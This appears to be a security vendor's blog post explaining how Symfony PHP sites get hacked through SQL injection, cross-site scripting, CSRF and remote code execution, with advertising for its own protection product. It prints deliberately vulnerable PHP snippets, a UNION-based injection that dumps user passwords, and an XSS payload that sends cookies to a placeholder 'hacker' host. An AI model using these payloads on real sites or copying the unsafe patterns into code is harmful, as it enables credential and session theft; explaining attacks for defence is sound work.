Site icon Astra Security Blog

Symfony Website Hacked – Symptoms, Causes & Fixes

Symfony is a popular PHP framework that makes it easy for users to create PHP websites and web applications. In the past, there have been instances when Drupal was affected due to a flaw in the Symfony framework. Ultimately, this lead to the Symfony website hacked. Though this was a flaw of the Symfony framework at times, unsafe development practices also make your PHP website vulnerable. Through this article, you will learn what are the critical vulnerabilities that can lead to Symfony website hacked and how to prevent them.

The popularity of Symfony can be attributed to the fact that it provides a set of decouple and usable PHP libraries. These libraries can speed up development and make it easier altogether. However, just using the Symfony framework alone cannot secure your PHP website. According to data from Contrast Security,

The average application is 79% library code, and only 21% custom code. Just over 76% of applications contain at least one vulnerability, and 34% containing four or more vulnerabilities. These are shocking failures of the software supply chain.

30,000 websites get hacked every single day. Are you next?

Secure your website from malware & hackers using Website Protection before it is too late.

Symfony Website Hacked: Symptoms

Causes of Symfony Website Hacked

Symfony Website Hacked: SQL Injection

Symfony SQL injection is a type of attack which mainly targets the database of your site. Lack of user input sanitization makes the site vulnerable which then lead to the Symfony website hacked. For example, look at the code given below:

 

<?php
$query  = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
This looks like a simple PHP code to execute an SQL query but, the attacker can use it to reveal all the passwords from the database using the SELECT SQL command. The input provided to $size variable would look something like:

 

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
This statement upon execution can list all the passwords from the table named user. The symbols ‘‘ at the end of this statement would turn rest of the code in this line into comments to avoid any errors. This is just a small example, attackers can use it in various ways to manipulate, edit and even delete your database. In some Symfony website hacked cases, SQLi can also be used to obtain a reverse shell.

Experience Astra Web Protection Yourself With Our 7 Day Free Trial!

Astra stops 7 million+ nasty attacks every month! Secure your site with Astra before it is too late.

Symfony Website Hacked: Cross-Site Scripting

XSS is a widely found vulnerability that occurs due to lack of proper user input sanitization. This vulnerability is commonly found in search boxes, message boards, etc. A Symfony website hacked due to XSS can be used by the attacker to steal cookies and thus take over the session. For example, crafting a search query with the following code can allow an attacker to steal the cookies of whosoever clicks on it.

 

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
Here the ‘>‘ character would close the previous tags. Thereafter, the image() constructor would create a new image in the variable ‘img‘. The next line would determine the source of the image and in the same line, the document.cookie method would be used to get the cookie for session takeover.

 

If the XSS is stored or persistent, it is even more dangerous because this script will steal cookies automatically when someone opens the infected page. Whereas, reflected XSS relies on social engineering attacks. Not only cookie stealing but Symfony website hacked due to XSS can also be used for all kinds of phishing attacks!
Need help with your hacked Symfony website repair? Clean your site now

 

Symfony Website Hacked: Cross-Site Request Forgery

CSRF can be used by attackers to make your victims do unwanted tasks like account deletion, manipulating the user data, etc. For example, when a user is logged into your site, visiting a specially crafted page like one given below can result in deletion of the account.
This page will use the ‘delete’ value of the action to delete the user account. Although the attacker can use CSRF to conduct various attacks there is no mechanism for him/her to see that they were successfully executed.

Symfony Website Hacked: Remote Code Execution

Remote code execution occurs in websites using Symphony due to poor coding standards. The biggest security issue in all the above-given attacks is trusting the user input. For instance, poor use of eval() function in PHP code would look like this:

 

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
This seems pretty simple code which will take the arguments and use the eval function to execute the string as a PHP code. But since the input is not filtered, the attacker can supply some values like /index.php?arg=1; phpinfo() which would lead to code execution of the phpinfo() function.

Symfony Website Hacked: Safe Development Practices

30,000 websites get hacked every single day. Are you next?

Secure your website from malware & hackers using Website Protection before it is too late.

Astra

With our machine-learning powered malware scanner and intelligent firewall, your website security becomes more hardened. All this comes for an affordable price as the plans are flexible to cater even to smaller websites. Get an Astra Web Protection Free Trial now!
Exit mobile version